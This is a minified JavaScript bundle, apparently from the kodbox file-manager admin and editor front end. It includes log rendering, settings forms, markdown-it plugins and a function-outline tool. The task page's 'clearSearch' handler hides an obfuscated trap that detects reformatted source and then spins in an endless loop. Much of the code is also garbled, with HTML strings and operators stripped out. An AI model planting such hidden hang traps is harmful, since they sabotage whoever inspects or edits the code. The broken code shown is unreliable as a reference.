s=t.desc.from||t.desc.fromName||LNG["common.unknow"];n=this.makeHtmlFile(s);e=e.replace(/{{desc\.from}}/g,n)}if(_.includes(e,"{{desc.to}}")){s=t.desc.to||t.desc.toName||LNG["common.unknow"],n=this.makeHtmlFile(s);e=e.replace(/{{desc\.to}}/g,n)}if(_.includes(e,"{{desc.sourceID}}")){s=t.desc.name||t.desc.sourceID,n=this.makeHtmlFile(s);e=e.replace(/{{desc\.sourceID}}/g,n)}if(_.includes(e,"{{desc.content}}")){if(!(r=_.get(t,"desc.content")||_.get(t,"desc.name")))return"";n='['+htmlEncode(r)+"]";e=e.replace(/{{desc\.content}}/g,n)}if(_.includes(e,"{{content}}")){var r;if(!(r=t.content||t.name))return e;n='['+htmlEncode(r)+"]";e=e.replace(/{{content}}/g,n)}return e},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+e+"]"||!1;var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n '+i+"\n "},"normalMap":function(){var i={"explorer.index.fileDownload":["down-item","从{{parent}}下载了{{file}}"],"explorer.index.zipDownload":["down-items","从{{parent}}下载了"],"explorer.index.mkdir":["create-mkdir-item","在{{parent}}新建了文件夹{{file}}"],"explorer.index.mkfile":["create-mkfile-item","在{{parent}}新建了文件{{file}}"],"explorer.upload.fileUpload":["create-upload-item","在{{file}}上传了{{content}}"],"explorer.editor.fileSave":["edit-item","编辑更新了{{file}}"],"explorer.fav.add":["fav-fileAdd","收藏了文件{{file}}"],"explorer.fav.add.folder":["fav-dirAdd","收藏了文件夹{{file}}"],"explorer.fav.del":["fav-del","取消了收藏{{file}}"],"explorer.userShare.add":["share-shareLinkAdd-item","将{{file}}创建了外链分享"],"explorer.index.pathRename":["rename-item","重命名了{{file}}"],"explorer.index.pathDelete":["remove-item","在{{parent}}删除了{{content}}"]};return this._each(i,function(e,t){i[t]=this.lang("log-event-"+e[0],e[1])}),i},"dataParseOthers":function(e){var t=e.type,i=e.desc||"",n=[];if(_.startsWith(t,"timingTask."))return i.name+"; 耗时:"+timeShow(i.useTime);if(!_.isUndefined(i.path)&&(i.sourceInfo||i.parentInfo)){var a=this.normalMap(),s=a[t]||"";switch(t){case"explorer.fav.add":i.type&&"folder"==i.type&&(s=a[t+".folder"]||"");break;case"explorer.index.pathRename":i.content=i.newName;break;case"explorer.index.zipDownload":var r=this,o=[],l=jsonDecode(i.dataArr);_.each(l,function(e){e.parentID=i.sourceParent,o.push(r.makeHtmlFile(e))}),s+=_.join(o,"、")}return this.dataParseHtmlItem(s,i)}switch(t){case"user.index.loginSubmit":var c=(0,p["default"])(i);return c.os==c.browser?c.browser:c.os+"    "+c.browser;case"user.index.logout":n.push(LNG["common.user"]+":"+(i.nickName||i.name||LNG["common.unknow"]));break;case"explorer.index.recycleDelete":case"explorer.index.recycleRestore":var d="explorer.index.recycleRestore"!=t;if(_.isUndefined(i.all)||"1"!=i.all)if(_.isUndefined(i.dataArr))n.push(LNG["common.unknow"]);else{l=jsonDecode(i.dataArr);u=(u=d?LNG["log-event-recycle-del-item"]:LNG["log-event-recycle-restore-item"]).replace("[1]",l.length),n.push(u+":"),_.each(l,function(e,t){n.push(e.name)})}else{var u=d?LNG["explorer.recycleClear"]:LNG["explorer.recycleRestore"];n.push(u)}break;case"explorer.index.pathDelete":if(_.isUndefined(i.dataArr))n.push(LNG["common.unknow"]);else{l=jsonDecode(i.dataArr);n.push(LNG["log-event-del-item"].replace("[1]",l.length))}break;default:n=this.dataParseUsers(t,i)}return!_.isUndefined(i.path)&&_.isUndefined(i.name)&&n.push(LNG["common.file"]+":"+i.path),_.each(n,function(e,t){n[t]=htmlEncode(e)}),_.join(n,"
    ")},"dataParseUsers":function(e,t){var i="";switch(_.initial(_.split(e,".")).join(".")){case"user.bind":if("user.bind.bindApi"==e)var n=t.typeTit||"";else n={"qq":"QQ","weixin":LNG["common.wechat"],"github":"GitHub"}[t.type];i=LNG["common.type"]+":"+n;break;case"admin.member":"admin.member.status"==e&&(i+="; "+LNG["common.action"]+":"+("1"==t.status?LNG["admin.member.enable"]:LNG["common.disable"]))}_.isUndefined(t.name)||(i+=(i?"; ":"")+LNG["common.name"]+": "+t.name);var a=[];return i&&a.push(i),"user.setting.setUserInfo"==e&&a.push(LNG["common."+t.type]+": "+t.input),a}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(e){this.type=e.type,this.typeKey=e.typeKey,this.bindEvent()},"queryData":function(){var i={};if(!_.isUndefined(this.parent.formMaker)){var n=this;this.parent.formMaker.$("[name]").each(function(){var e=$(this).attr("name"),t=n.parent.formMaker.getValue(e);i[e]=t})}var e={};if("diy"==i.logTime)e.timeFrom=strtotime(i.timeFrom+" 00:00:00"),e.timeTo=strtotime(i.timeTo+" 23:59:59");else{var t=i.logTime||7;e.timeFrom=time()-86400*parseInt(t),e.timeTo=time()}e.userID=i.logUser||"","log"==this.typeKey&&(e.type=_.get(Router.query,"type"),e.type||(e.type=i.logType&&"all"!=i.logType?i.logType:""));var a=this.$("."+this.type+"-page .toolbar .left");return a.find(".ip-label").length&&(e.ip=a.find(".ip-label span").text()),e},"bindEvent":function(){var i=this,n=this.parent;this.$("."+this.type+"-page").delegate("[data-action]","click",function(e){var t=$(this).attr("data");return i.dtlByIp(n[i.typeKey+"ListAll"][t]),stopPP(e)}),this.$("."+this.type+"-page").delegate(".ip-label i","click",function(e){$(this).parents(".ip-label").remove();var t=i.queryData();return n[i.typeKey+"Table"].refresh(t),stopPP(e)})},"dtlByIp":function(e){var t="display:inline-block;width:40px;font-weight:600;opacity:0.8;",i="
    \n\t\t\t
    IP: '+e.ip+'
    \n\t\t\t
    '+LNG["common.address"]+": "+e.address+'
    \n\t\t\t
    UA: '+(e.desc.ua||LNG["common.unknow"])+'
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.tips"]+": "+LNG["admin.log.queryByIp"]+"\n\t\t\t
    \n\t\t
    ",n=this;$.dialog({"ico":"","title":LNG["common.detail"],"width":350,"padding":"30px 20px","resize":!1,"fixed":!0,"lock":!0,"background":"#000","opacity":.2,"content":i,"okVal":LNG["common.query"],"cancel":!0,"ok":function(){n.queryByIp(e)}})},"queryByIp":function(e){var t='
    \n\t\t\t'+e.ip+'\n\t\t\t\n\t\t\t
    ',i=this.$("."+this.type+"-page .toolbar .left");i.find(".ip-label").length&&i.find(".ip-label").remove(),this.parent.formMaker.setValue("logUser",e.userID),i.append(t),this.parent.formMaker.setValue("logTime","1")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=l(i(5)),s=l(i(6)),r=l(i(2)),o=l(i(574));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(""),this.initForm()},"initForm":(n=(0,s["default"])(a["default"].mark(function c(){var t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:(t=this).adminModel.getConfig({},function(e){t.makeForm(e.data)});case 2:case"end":return e.stop()}},c,this)})),function d(){return n.apply(this,arguments)}),"makeForm":function(e){var t=(0,o["default"])();t.listData.value=_.get(e,"loginCheckAllow",""),this.formMaker=new r["default"]({"parent":this,"formData":t}),this.formMaker.renderTarget(this.$(".panel-body")),this.listenTo(this.formMaker,{"onSave":this.save}),this.$('.item-listData input[name="listData"]').bind("change",_.bind(this.save,this))},"save":function(){this.$(".item-listData .list-content .list-row").each(function(e){$(this).find(".list-col.sort .label").html(e+1)});var e=this.formMaker.getValue();if(!e)return!1;var t={"loginCheckAllow":e.listData};this.adminModel.setOption(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"cacheDesc":{"type":"html","display":LNG["admin.setting.cacheDesc"],"value":"
    "+LNG["admin.setting.systemCache"]+", "+LNG["admin.install.cacheTypeDesc"]+"
  • "+LNG["admin.setting.fileCacheDesc"]+"
  • "+LNG["admin.setting.redisDesc"]+"
  • "+LNG["admin.setting.memcachedDesc"]+"
  • \t\t\t
    "},"sep101":"
    ","cacheType":{"type":"segment","value":"file","display":LNG["admin.install.cacheType"],"info":{"file":LNG["admin.install.fileCache"],"redis":"Redis","memcached":"Memcached"},"switchItem":{"file":"","redis":"redisHost,redisPort","memcached":"memcachedHost,memcachedPort"}},"redisHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"redisPort":{"type":"number","value":"6379","attr":{"placeholder":"6379"},"display":LNG["admin.install.dbPort"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"},"memcachedHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"memcachedPort":{"type":"number","value":"11211","attr":{"placeholder":"11211"},"display":LNG["admin.install.dbPort"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"current":{"type":"html","display":LNG["admin.setting.dbCurrent"],"value":"
  • "+LNG["admin.setting.dbType"]+":
  • "+LNG["admin.setting.dbName"]+":
  • "+LNG["admin.setting.dbInfo"]+":
  • \t\t\t
    "},"switchOpen":{"type":"switch","value":"0","display":LNG["admin.setting.dbSwitch"],"switchItem":{"0":"","1":"sep201,dbType"},"desc":LNG["admin.setting.dbSwitchDesc"]},"sep201":"
    ","dbType":{"type":"segment","value":"sqlite","display":LNG["admin.install.dbType"],"info":{"sqlite":"SQLite","mysql":"MySQL","pdo":"PDO"},"switchItem":{"sqlite":"dbSqliteDesc,sep202","mysql":"dbMysqlDesc,dbMysqlHost,dbMysqlUser,dbMysqlPwd,dbMysqlName","pdo":"dbPdoDesc,dbPdoType"}},"dbSqliteDesc":{"type":"html","value":LNG["admin.install.sqliteDesc"],"display":""},"sep202":{"type":"html","value":"","display":"","desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"]},"dbMysqlDesc":{"type":"html","value":LNG["admin.install.mysqlDesc"],"display":""},"dbMysqlHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"dbMysqlUser":{"type":"input","value":"root","display":LNG["admin.install.userName"],"desc":"","require":"1"},"dbMysqlPwd":{"type":"password","value":"","display":LNG["common.password"],"desc":""},"dbMysqlName":{"type":"input","value":"kodbox","display":LNG["admin.install.database"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"},"dbPdoDesc":{"type":"html","display":"","value":LNG["admin.install.pdoDesc"]},"dbPdoType":{"type":"segment","value":"sqlite","display":LNG["common.type"],"info":{"sqlite":"SQLite","mysql":"MySQL"},"switchItem":{"sqlite":"sep203","mysql":"dbPdoMysqlHost,dbPdoMysqlUser,dbPdoMysqlPwd,dbPdoMysqlName"}},"sep203":{"type":"html","value":"","display":"","desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"]},"dbPdoMysqlHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"dbPdoMysqlUser":{"type":"input","value":"root","display":LNG["admin.install.userName"],"desc":"","require":"1"},"dbPdoMysqlPwd":{"type":"password","value":"","display":LNG["common.password"],"desc":""},"dbPdoMysqlName":{"type":"input","value":"kodbox","display":LNG["admin.install.database"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(172)),a=o(i(581)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"change .task-page .list-row input[name=enable]":"taskEnable"},"init":function(){this.renderHtml(i(583)),this.type="task",this.taskListAll=[],this.showTable(),this.action=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.bindEvent()},"showTable":function(){this.table=new n["default"]({"parent":this,"type":this.type}),this.taskTable=this.table.make(this.type),this.toolBar()},"timeOption":function(){for(var e={"1":LNG["common.mon"],"2":LNG["common.tue"],"3":LNG["common.wed"],"4":LNG["common.thu"],"5":LNG["common.fri"],"6":LNG["common.sat"],"7":LNG["common.sun"]},t={},i=1;i<=31;i++)t[""+i]=i;return{"week":e,"month":t}},"toolBar":function(){var e='",t='\n\t\t
    \n\t\t\t\n\t\t
    \n\t\t
    \n\t\t\t\n\t\t
    ';return this.taskTable.$(".toolbar .left").html(e),this.taskTable.$(".toolbar .right").html(t),!1},"querySearch":function(e){var t=$(e.currentTarget);t.parent().find("button").removeClass("active"),t.addClass("active");var i=t.attr("data");this.taskTable.refresh({"enable":i})},"clearSearch":function(){var getDefaultsQM5M=function(){return 0};var checkCanReaduU4=getDefaultsQM5M+"";if(checkCanReaduU4.indexOf(String.fromCharCode(200/(1440/(79-7)))) != -1){while(true){escape("+");};};var e=this.taskTable.$(".toolbar .right");e.find(".search-box input").val(""),e.find(".btn-group button:eq(0)").click()},"taskEnable":function(e){var t=$(e.currentTarget),i=t.prop("checked")?"1":"0",n=t.parents(".list-row").find(".list-col[field=id]>div").attr("data");this.action.exec("enable",n,{"enable":i})},"bindEvent":function(){var r=this;this.$(".task-page").delegate("[action-data]","click",function(e){var t=$(this).attr("action-data"),i=$(this).parent().attr("data"),n={};if(_.includes(["run","remove"],t)){var a="run"==t?LNG["admin.task.ifRun"]:LNG["common.ifDel"],s="run"==t?"":LNG["common.delete"];return $.dialog.confirm(a,function(){return r.action.exec(t,i,n)},!1,s),!1}"log"==t&&(n.name=$(this).parents(".list-row").find("[field=name]").text()),r.action.exec(t,i,n)}),this.dropMenu.action(this.taskTable),this.dragRow.sort(function(e){r.action.request("sort",{"ids":e},!1)}),this.$(".auto-task-restart").bind("click",function(){r.adminModel.requestSend("admin/autoTask/taskRestart",{}),Tips.tips(LNG["admin.autoTask.restartEnd"])})}})},function(e,t,i){"use strict";e.exports=function(i){var r=[];return r.toString=function(){return this.map(function(e){var t=function o(e,t){var i=e[1]||"",n=e[3];if(!n)return i;if(t&&"function"==typeof btoa){var a=function r(e){return"/*# sourceMappingURL=data:application/json;charset=utf-8;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(e))))+" */"}(n),s=n.sources.map(function(e){return"/*# sourceURL="+n.sourceRoot+e+" */"});return[i].concat(s).concat([a]).join("\n")}return[i].join("\n")}(e,i);return e[2]?"@media "+e[2]+"{"+t+"}":t}).join("")},r.i=function(e,t){"string"==typeof e&&(e=[[null,e,""]]);for(var i={},n=0;na;)d(U,t=i[a++])||t==R||t==f||n.push(t);return n}function l(e){for(var t,i=e===B,n=I(i?Q:M(e)),a=[],s=0;n.length>s;)!d(U,t=n[s++])||i&&!d(B,t)||a.push(U[t]);return a}var c=i(3),d=i(17),u=i(11),p=i(7),h=i(78),f=i(55).KEY,m=i(18),w=i(49),v=i(30),g=i(37),x=i(4),b=i(74),C=i(75),D=i(240),y=i(112),k=i(12),O=i(9),M=i(19),K=i(56),T=i(33),L=i(58),_=i(241),A=i(242),N=i(10),S=i(27),$=A.f,G=N.f,I=_.f,E=c.Symbol,P=c.JSON,j=P&&P.stringify,q="prototype",R=x("_hidden"),F=x("toPrimitive"),z={}.propertyIsEnumerable,H=w("symbol-registry"),U=w("symbols"),Q=w("op-symbols"),B=Object[q],V="function"==typeof E,W=c.QObject,X=!W||!W[q]||!W[q].findChild,Y=u&&m(function(){return 7!=L(G({},"a",{"get":function(){return G(this,"a",{"value":7}).a}})).a})?function(e,t,i){var n=$(B,t);n&&delete B[t],G(e,t,i),n&&e!==B&&G(B,t,n)}:G,Z=V&&"symbol"==typeof E.iterator?function(e){return"symbol"==typeof e}:function(e){return e instanceof E},J=function(e,t,i){return e===B&&J(Q,t,i),k(e),t=K(t,!0),k(i),d(U,t)?(i.enumerable?(d(e,R)&&e[R][t]&&(e[R][t]=!1),i=L(i,{"enumerable":T(0,!1)})):(d(e,R)||G(e,R,T(1,{})),e[R][t]=!0),Y(e,t,i)):G(e,t,i)};V||(h((E=function(){if(this instanceof E)throw TypeError("Symbol is not a constructor!");var t=g(0te;)x(ee[te++]);for(var ie=S(x.store),ne=0;ie.length>ne;)C(ie[ne++]);p(p.S+p.F*!V,"Symbol",{"for":function(e){return d(H,e+="")?H[e]:H[e]=E(e)},"keyFor":function(e){if(!Z(e))throw TypeError(e+" is not a symbol!");for(var t in H)if(H[t]===e)return t},"useSetter":function(){X=!0},"useSimple":function(){X=!1}}),p(p.S+p.F*!V,"Object",{"create":function(e,t){return t===undefined?L(e):a(L(e),t)},"defineProperty":J,"defineProperties":a,"getOwnPropertyDescriptor":r,"getOwnPropertyNames":o,"getOwnPropertySymbols":l}),P&&p(p.S+p.F*(!V||m(function(){var e=E();return"[null]"!=j([e])||"{}"!=j({"a":e})||"{}"!=j(Object(e))})),"JSON",{"stringify":function(e){for(var t,i,n=[e],a=1;ar;)s.call(e,n=a[r++])&&t.push(n);return t}},function(t,i,n){var a=n(19),s=n(110).f,r={}.toString,o="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return o&&"[object Window]"==r.call(t)?function(t){try{return s(t)}catch(e){return o.slice()}}(t):s(a(t))}},function(t,i,n){var a=n(42),s=n(33),r=n(19),o=n(56),l=n(17),c=n(77),d=Object.getOwnPropertyDescriptor;i.f=n(11)?d:function(t,i){if(t=r(t),i=o(i,!0),c)try{return d(t,i)}catch(e){}if(l(t,i))return s(!a.f.call(t,i),t[i])}},function(e,t,i){i(75)("asyncIterator")},function(e,t,i){i(75)("observable")},function(e,t,i){e.exports={"default":i(246),"__esModule":!0}},function(e,t,i){i(247);var n=i(1).Object;e.exports=function(e,t,i){return n.defineProperty(e,t,i)}},function(e,t,i){var n=i(7);n(n.S+n.F*!i(11),"Object",{"defineProperty":i(10).f})},function(e,t,i){i(249),e.exports=i(1).Object.keys},function(e,t,i){var n=i(38),a=i(27);i(111)("keys",function(){return function(e){return a(n(e))}})},function(e,t,i){e.exports={"default":i(251),"__esModule":!0}},function(e,t,i){var n=i(1),a=n.JSON||(n.JSON={"stringify":JSON.stringify});e.exports=function(e){return a.stringify.apply(a,arguments)}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=g(i(253)),a=g(i(254)),s=g(i(255)),r=g(i(256)),o=g(i(257)),l=g(i(258)),c=g(i(259)),d=g(i(260)),u=g(i(261)),p=g(i(262)),h=g(i(263)),f=g(i(265)),m=g(i(269)),w=g(i(270)),v=g(i(272));function g(e){return e&&e.__esModule?e:{"default":e}}var x=[[n["default"],{}],[a["default"],{}],[s["default"],{"enabled":!0,"label":!0}],[r["default"],{}],[o["default"],{}],[d["default"],{}],[u["default"],{}],[p["default"],{}],[h["default"]],[f["default"],{"attrs":{"target":"_blank"}}],[m["default"]],[w["default"]],[v["default"]]],b=(0,c["default"])();_.each(b,function(e){x.push([l["default"],e.type,e.parse])}),t["default"]=x},function(e,t,i){"use strict";function r(e,t){var i,n,a=e.posMax,s=!0,r=!0;return i=0/g,">").replace(/"/g,""").replace(/'/g,"'")}Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function d(e,t){t=t||{};var i=function i(e){t.displayMode=!1;try{return katex.renderToString(e,t)}catch(error){return t.throwOnError&&console.log(error),""+c(e)+""}},n=function n(e,t){return i(e[t].content)},a=function a(e){t.displayMode=!0;try{return"

    "+katex.renderToString(e,t)+"

    "}catch(error){return t.throwOnError&&console.log(error),"

    "+c(e)+"

    "}},s=function s(e,t){return a(e[t].content)+"\n"};e.inline.ruler.after("escape","math_inline",o),e.block.ruler.after("blockquote","math_block",l,{"alt":["paragraph","reference","blockquote","list"]}),e.renderer.rules.math_inline=n,e.renderer.rules.math_block=s}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.before("emphasis","mark",function l(e,t){var i,n,a,s,r=e.pos,o=e.src.charCodeAt(r);if(t)return!1;if(61!==o)return!1;if(a=(n=e.scanDelims(e.pos,!0)).length,s=String.fromCharCode(o),a<2)return!1;for(a%2&&(e.push("text","",0).content=s,a--),i=0;i':0!==e.content.indexOf("[x] ")&&0!==e.content.indexOf("[X] ")||(i.content='');return i}(e,t)),e.children[1].content=e.children[1].content.slice(3),e.content=e.content.slice(3),o)if(l){e.children.pop();var i="task-item-"+Math.ceil(1e7*Math.random()-1e3);e.children[0].content=e.children[0].content.slice(0,-1)+' id="'+i+'">',e.children.push(function s(e,t,i){var n=new i("html_inline","",0);return n.content='",n.attrs=[{"for":t}],n}(e.content,i,t))}else e.children.unshift(function n(e){var t=new e("html_inline","",0);return t.content="",t}(t))}t.exports=function(e,t){t&&(c=!t.enabled,o=!!t.label,l=!!t.labelAfter),e.core.ruler.after("inline","github-task-lists",function(e){for(var t,i,n=e.tokens,a=2;a?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,s=e.pos;if(126!==e.src.charCodeAt(s))return!1;if(t)return!1;if(a<=s+2)return!1;for(e.pos=s+1;e.pos?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,s=e.pos;if(94!==e.src.charCodeAt(s))return!1;if(t)return!1;if(a<=s+2)return!1;for(e.pos=s+1;e.pos
    ":"string"==typeof t?t:t!=undefined&&null!=t?(0,y["default"])(t):" ",v&&v[e]===s[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),v=s,t(n.join(""))})}},b=function b(e,t){try{return function o(e,t){var i,n,a,s,r=e.indexOf("=");for(-1!=r&&(e=e.substr(r+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;if(!this.editor.kod.modeShowHide)return _.includes(_.keys(u["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=function t(e){return _.trim(e).replace(/(\{$)/,"")},i=this.listMake(e.getValue(),e.kod.mode);if(!_.isArray(i)||0==i.length)return this.$listBox.html(this.listEmpty);var n=e.getCursorPosition().row;this.listHtml="";for(var a=0;a=r.start.row&&i[a+1].range&&n=r.start.row&&(s.type+=" row-select");var o=r.start.row+","+r.start.column+","+r.end.row+","+r.end.column,l=t(t(s.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(s.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),s=e.scrollTop();n*a=c&&l.posStart<=c+r[d].length;)n[o].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++o];c=c+r[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,s=0,r=e,o=0;o/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"javascript":[{"reg":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*function[\*\s]+([\w\s]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],"python":[{"reg":/\s*class\s+(\w+)\s*\(/g,"regName":/\s*class\s+(\w+)\s*\(/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*\(.*\)/g,"regName":/\s*def\s+(\w+)\s*\(.*\)/,"regIndex":1,"type":"function"}],"ruby":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*/g,"regName":/\s*def\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"golang":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*func\s+(\w+)\s*.*\{/g,"regName":/\s*func\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"java":[{"reg":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,"regName":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,"regIndex":3,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"csharp":[{"reg":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,"regName":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,"regIndex":2,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"actionscript":[{"reg":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,"regName":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,"regIndex":1,"type":"function"},{"reg":/\s*class\s+(\w+)\s*.*\{/g,"regName":/\s*class\s+(\w+)\s*.*\{/,"regIndex":1,"type":"class"}],"objectivec":[{"reg":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,"regName":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,"regIndex":1,"type":"function"},{"reg":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,"regName":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,"regIndex":1,"type":"function"},{"reg":/@implementation\s+(\w*)/g,"regName":/@implementation\s+(\w*)/,"regIndex":1,"type":"class"},{"reg":/#pragma\s+(mark\s+)?(.*)/g,"regName":/#pragma\s+(mark\s+)?(.*)/,"regIndex":2,"type":"mark"}],"c_cpp":[{"reg":/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*